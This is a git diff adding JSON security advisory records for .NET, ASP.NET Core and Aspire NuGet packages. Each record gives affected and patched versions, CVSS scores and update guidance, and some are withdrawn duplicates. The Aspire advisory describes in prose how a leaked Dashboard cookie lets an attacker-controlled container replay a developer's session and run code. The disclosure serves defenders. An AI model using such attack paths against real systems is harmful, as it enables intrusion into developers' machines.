11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8w29-6cjc-h6w4/GHSA-8w29-6cjc-h6w4.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8w29-6cjc-h6w4/GHSA-8w29-6cjc-h6w4.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8w29-6cjc-h6w4/GHSA-8w29-6cjc-h6w4.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8w29-6cjc-h6w4/GHSA-8w29-6cjc-h6w4.json"}}],"references":[{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/security/advisories/GHSA-8w29-6cjc-h6w4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114156"},{"type":"WEB","url":"https://github.com/dotnet/announcements/issues/510"},{"type":"PACKAGE","url":"https://github.com/dotnet/aspnetcore"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/discussions/70478"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v11.0.0"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/11.0/11.0.0/11.0.0.md"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-114156"}],"database_specific":{"cwe_ids":["CWE-41"],"github_reviewed":true,"github_reviewed_at":"2026-11-11T00:24:05Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N/E:U/RL:O/RC:C"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-95x6-7hq8-2c37.json b/data/NuGet/GHSA-95x6-7hq8-2c37.json
new file mode 100644
index 0000000000..17926217ca
--- /dev/null
+++ b/data/NuGet/GHSA-95x6-7hq8-2c37.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-95x6-7hq8-2c37","published":"2026-11-10T21:32:52Z","modified":"2026-11-10T22:30:03.785251805Z","withdrawn":"2026-11-10T22:16:47Z","summary":"Duplicate Advisory: Microsoft Security Advisory CVE-2026-114157 - ASP.NET Core Security Feature Bypass Vulnerability","details":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-7phj-vgxq-r67h. This link is maintained to preserve external references.\n\n## Original Description\nConcurrent execution using shared resource with improper synchronization ('race condition') in ASP.NET Core allows an authorized attacker to elevate privileges locally.","affected":[{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"last_affected":"8.0.33"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-95x6-7hq8-2c37/GHSA-95x6-7hq8-2c37.json"}}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114157"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-114157"}],"database_specific":{"cwe_ids":["CWE-362"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T22:16:47Z","nvd_published_at":"2026-11-10T19:19:09Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-c827-j3xf-67v6.json b/data/NuGet/GHSA-c827-j3xf-67v6.json
new file mode 100644
index 0000000000..05400d9718
--- /dev/null
+++ b/data/NuGet/GHSA-c827-j3xf-67v6.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-c827-j3xf-67v6","published":"2026-11-10T21:32:51Z","modified":"2026-11-10T22:30:03.730169787Z","withdrawn":"2026-11-10T22:14:43Z","summary":"Duplicate Advisory: Microsoft Security Advisory CVE-2026-114156 - ASP.NET Core Security Feature Bypass Vulnerability","details":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-8w29-6cjc-h6w4. This link is maintained to preserve external references.\n\n## Original Description\nImproper input validation in ASP.NET Core allows an unauthorized attacker to bypass a security feature over a network.","affected":[{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"last_affected":"11.0.0-rc.3.26522.148"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-c827-j3xf-67v6/GHSA-c827-j3xf-67v6.json"}}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114156"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-114156"}],"database_specific":{"cwe_ids":["CWE-41"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T22:14:43Z","nvd_published_at":"2026-11-10T19:19:08Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-cpw3-h88j-9f6x.json b/data/NuGet/GHSA-cpw3-h88j-9f6x.json
new file mode 100644
index 0000000000..3299a418d3
--- /dev/null
+++ b/data/NuGet/GHSA-cpw3-h88j-9f6x.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-cpw3-h88j-9f6x","published":"2026-11-10T23:21:36Z","modified":"2026-11-10T23:30:09.407044705Z","aliases":["CVE-2026-120796"],"summary":"Microsoft Security Advisory CVE-2026-120796 - .NET Denial of Service Vulnerability","details":"## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in .NET. This advisory provides guidance on updating affected applications and components.\n\nInefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/499\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** Medium\n- **Score:** 5.3 (base score)\n- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:U/RL:O/RC:C`\n- **Weakness:** CWE-407\n\n## Affected Platforms\n\n- **Platforms:** Windows, Linux, macOS\n- **Architectures:** All\n\n## <a name=\"affected-packages\"></a>Affected Packages\n\nThe tables list affected version ranges and fixed package versions. Runtime and standalone deliveries are listed separately.\n\n### .NET 11.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.NETCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-arm) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.NETCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.NETCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-musl-arm) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.NETCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-musl-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.NETCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-musl-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.NETCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.NETCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.osx-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.NETCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.osx-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.NETCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.win-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.NETCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.win-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.NETCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.win-x86) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n\n### Standalone System.Text.Json delivery\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[System.Text.Json](https://www.nuget.org/packages/System.Text.Json) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n\n## Advisory FAQ\n\n### <a name=\"how-affected\"></a>How do I know if I am affected?\n\nCheck the deployed runtime and application package versions against the affected ranges above. Self-contained applications include their own runtime; updating a machine-wide runtime does not replace it.\n\n### <a name=\"how-fix\"></a>How do I fix the issue?\n\nInstall the applicable runtime or update each independently referenced package to the fixed version above. Restart applications. Rebuild and redeploy self-contained applications; updating a machine-wide runtime does not replace their embedded runtime. An SDK update alone does not update an application's standalone package references.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-120796](https://www.cve.org/CVERecord?id=CVE-2026-120796)\n\n### Acknowledgements\n\n- Artur Stetsko\n\n### Revisions\n\nV1.0 (November 10, 2026): Advisory published.","affected":[{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-cpw3-h88j-9f6x/GHSA-cpw3-h88j-9f6x.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-cpw3-h88j-9f6x/GHSA-cpw3-h88j-9f6x.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-cpw3-h88j-9f6x/GHSA-cpw3-h88j-9f6x.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-cpw3-h88j-9f6x/GHSA-cpw3-h88j-9f6x.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-cpw3-h88j-9f6x/GHSA-cpw3-h88j-9f6x.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-cpw3-h88j-9f6x/GHSA-cpw3-h88j-9f6x.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-cpw3-h88j-9f6x/GHSA-cpw3-h88j-9f6x.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-cpw3-h88j-9f6x/GHSA-cpw3-h88j-9f6x.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-cpw3-h88j-9f6x/GHSA-cpw3-h88j-9f6x.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-cpw3-h88j-9f6x/GHSA-cpw3-h88j-9f6x.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-cpw3-h88j-9f6x/GHSA-cpw3-h88j-9f6x.json"}},{"package":{"name":"System.Text.Json","ecosystem":"NuGet","purl":"pkg:nuget/System.Text.Json"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-cpw3-h88j-9f6x/GHSA-cpw3-h88j-9f6x.json"}}],"references":[{"type":"WEB","url":"https://github.com/dotnet/runtime/security/advisories/GHSA-cpw3-h88j-9f6x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-120796"},{"type":"WEB","url":"https://github.com/dotnet/announcements/issues/499"},{"type":"WEB","url":"https://github.com/dotnet/runtime/issues/137280"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/11.0/11.0.0/11.0.0.md"},{"type":"PACKAGE","url":"https://github.com/dotnet/runtime"},{"type":"WEB","url":"https://github.com/dotnet/runtime/releases/tag/v11.0.0"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-120796"}],"database_specific":{"cwe_ids":["CWE-407"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T23:21:36Z","nvd_published_at":"2026-11-10T19:20:28Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:U/RL:O/RC:C"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-f7vh-h5g3-7jrh.json b/data/NuGet/GHSA-f7vh-h5g3-7jrh.json
new file mode 100644
index 0000000000..241b28ab3c
--- /dev/null
+++ b/data/NuGet/GHSA-f7vh-h5g3-7jrh.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-f7vh-h5g3-7jrh","published":"2026-11-10T23:24:48Z","modified":"2026-11-10T23:30:04.667992203Z","aliases":["CVE-2026-120006"],"summary":"Microsoft Security Advisory CVE-2026-120006 - Aspire Elevation of Privilege Vulnerability","details":"## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in Aspire. This advisory provides guidance on updating affected applications and components.\n\nDisclosure of an Aspire Dashboard authentication cookie to a linked service can allow an attacker-controlled container to replay the authenticated session and execute code as the host developer.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/503\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** High\n- **Score:** 7.5\n- **Vector:** `CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H`\n- **Weakness:** CWE-201 (Insertion of Sensitive Information Into Sent Data)\n\n## Affected Platforms\n\n- **Platforms:** macOS\n- **Architectures:** x64, Arm64\n\n## <a name=\"affected-packages\"></a>Affected Packages\n\n### Standalone Aspire\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Aspire.Hosting.AppHost](https://www.nuget.org/packages/Aspire.Hosting.AppHost) | < 13.6.5 | 13.6.5\n[Aspire.Hosting](https://www.nuget.org/packages/Aspire.Hosting) | < 13.6.5 | 13.6.5\n\nThe affected scenario involves a Dashboard-authenticated AppHost workflow with an attacker-controlled container and a linked HTTPS YARP gateway. The affected hosting code is in `Aspire.Hosting`, a dependency of `Aspire.Hosting.AppHost`. `Aspire.AppHost.Sdk` supplies the AppHost package implicitly unless the project overrides the default references.\n\n## Advisory FAQ\n\n### <a name=\"how-affected\"></a>How do I know if I am affected?\n\nThe reported scenario involves a developer starting an Aspire AppHost, authenticating to its Dashboard, and following a resource link that routes to an attacker-controlled container. All released versions through 13.6.4 are affected.\n\nAspire ships independently of .NET. Installing a .NET runtime or SDK update does not establish that the affected Aspire components have been updated.\n\n### <a name=\"how-fix\"></a>How do I fix the issue?\n\nUpdate the AppHost project's `Aspire.Hosting.AppHost` package reference to version 13.6.5 or later. If the project obtains this package implicitly through `Aspire.AppHost.Sdk`, update that SDK reference to version 13.6.5 or later. Explicit package references or central version pins must also resolve `Aspire.Hosting` to version 13.6.5 or later. Restore dependencies, rebuild, and restart the AppHost after updating.\n\nUpdating only the .NET runtime, .NET SDK, Aspire CLI, or standalone Dashboard does not replace the AppHost project's hosting dependencies.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue in the [Aspire repository](https://github.com/microsoft/aspire).\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-120006](https://www.cve.org/CVERecord?id=CVE-2026-120006)\n\n### Acknowledgements\n\n- samthewhitehat\n\n### Revisions\n\nV1.0 (November 10, 2026): Advisory published.","affected":[{"package":{"name":"Aspire.Hosting.AppHost","ecosystem":"NuGet","purl":"pkg:nuget/Aspire.Hosting.AppHost"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.6.5"}]}],"versions":["13.0.0","13.0.1","13.0.2","13.1.0","13.1.1","13.1.2","13.1.3","13.2.0","13.2.1","13.2.2","13.2.3","13.2.4","13.3.0","13.3.1","13.3.2","13.3.3","13.3.4","13.3.5","13.4.0","13.4.1","13.4.2","13.4.3","13.4.4","13.4.5","13.4.6","13.5.0","13.5.1","13.5.2","13.5.3","13.5.4","13.6.0","13.6.1","13.6.2","13.6.3","13.6.4","8.0.0","8.0.1","8.0.2","8.1.0","8.2.0","8.2.1","8.2.2","9.0.0","9.1.0","9.2.0","9.2.1","9.3.0","9.3.1","9.4.0","9.4.1","9.4.2","9.5.0","9.5.1","9.5.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-f7vh-h5g3-7jrh/GHSA-f7vh-h5g3-7jrh.json"}},{"package":{"name":"Aspire.Hosting","ecosystem":"NuGet","purl":"pkg:nuget/Aspire.Hosting"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.6.5"}]}],"versions":["13.0.0","13.0.1","13.0.2","13.1.0","13.1.1","13.1.2","13.1.3","13.2.0","13.2.1","13.2.2","13.2.3","13.2.4","13.3.0","13.3.1","13.3.2","13.3.3","13.3.4","13.3.5","13.4.0","13.4.1","13.4.2","13.4.3","13.4.4","13.4.5","13.4.6","13.5.0","13.5.1","13.5.2","13.5.3","13.5.4","13.6.0","13.6.1","13.6.2","13.6.3","13.6.4","8.0.0","8.0.1","8.0.2","8.1.0","8.2.0","8.2.1","8.2.2","9.0.0","9.1.0","9.2.0","9.2.1","9.3.0","9.3.1","9.3.2","9.4.0","9.4.1","9.4.2","9.5.0","9.5.1","9.5.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-f7vh-h5g3-7jrh/GHSA-f7vh-h5g3-7jrh.json"}}],"references":[{"type":"WEB","url":"https://github.com/microsoft/aspire/security/advisories/GHSA-f7vh-h5g3-7jrh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-120006"},{"type":"WEB","url":"https://github.com/dotnet/announcements/issues/503"},{"type":"WEB","url":"https://github.com/microsoft/aspire/issues/22092"},{"type":"WEB","url":"https://github.com/microsoft/aspire/commit/f017f668fd6e0938e23058dc0450a1403f409809"},{"type":"PACKAGE","url":"https://github.com/microsoft/aspire"},{"type":"WEB","url":"https://github.com/microsoft/aspire/releases/tag/v13.6.5"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-120006"}],"database_specific":{"cwe_ids":["CWE-201"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T23:24:48Z","nvd_published_at":"2026-11-10T19:20:26Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-fgfw-85w4-gx99.json b/data/NuGet/GHSA-fgfw-85w4-gx99.json
new file mode 100644
index 0000000000..556baab488
--- /dev/null
+++ b/data/NuGet/GHSA-fgfw-85w4-gx99.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-fgfw-85w4-gx99","published":"2026-11-10T21:33:44Z","modified":"2026-11-10T22:45:03.444752861Z","withdrawn":"2026-11-10T22:30:50Z","summary":"Duplicate Advisory: Microsoft Security Advisory CVE-2026-120792 - Aspire Information Disclosure Vulnerability","details":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-q6jf-24jf-m3cg. This link is maintained to preserve external references.\n\n## Original Description\nInsertion of sensitive information into log file in .NET Aspire allows an authorized attacker to disclose information locally.","affected":[{"package":{"name":"Aspire.Cli","ecosystem":"NuGet","purl":"pkg:nuget/Aspire.Cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.2.0"}]}],"versions":["13.2.0","13.2.1","13.2.2","13.2.3","13.2.4","13.3.0","13.3.1","13.3.2","13.3.3","13.3.4","13.3.5","13.4.0","13.4.1","13.4.2","13.4.3","13.4.4","13.4.5","13.4.6","13.5.0","13.5.1","13.5.2","13.5.3","13.5.4","13.6.0","13.6.1","13.6.2","13.6.3","13.6.4","13.6.5"],"database_specific":{"last_known_affected_version_range":"< 13.6.5","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-fgfw-85w4-gx99/GHSA-fgfw-85w4-gx99.json"}}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-120792"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-120792"}],"database_specific":{"cwe_ids":["CWE-532"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T22:30:50Z","nvd_published_at":"2026-11-10T19:20:28Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:L"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-gxg8-5rwf-cg43.json b/data/NuGet/GHSA-gxg8-5rwf-cg43.json
new file mode 100644
index 0000000000..0f75b1341b
--- /dev/null
+++ b/data/NuGet/GHSA-gxg8-5rwf-cg43.json
@@ -0,0 +1 @@
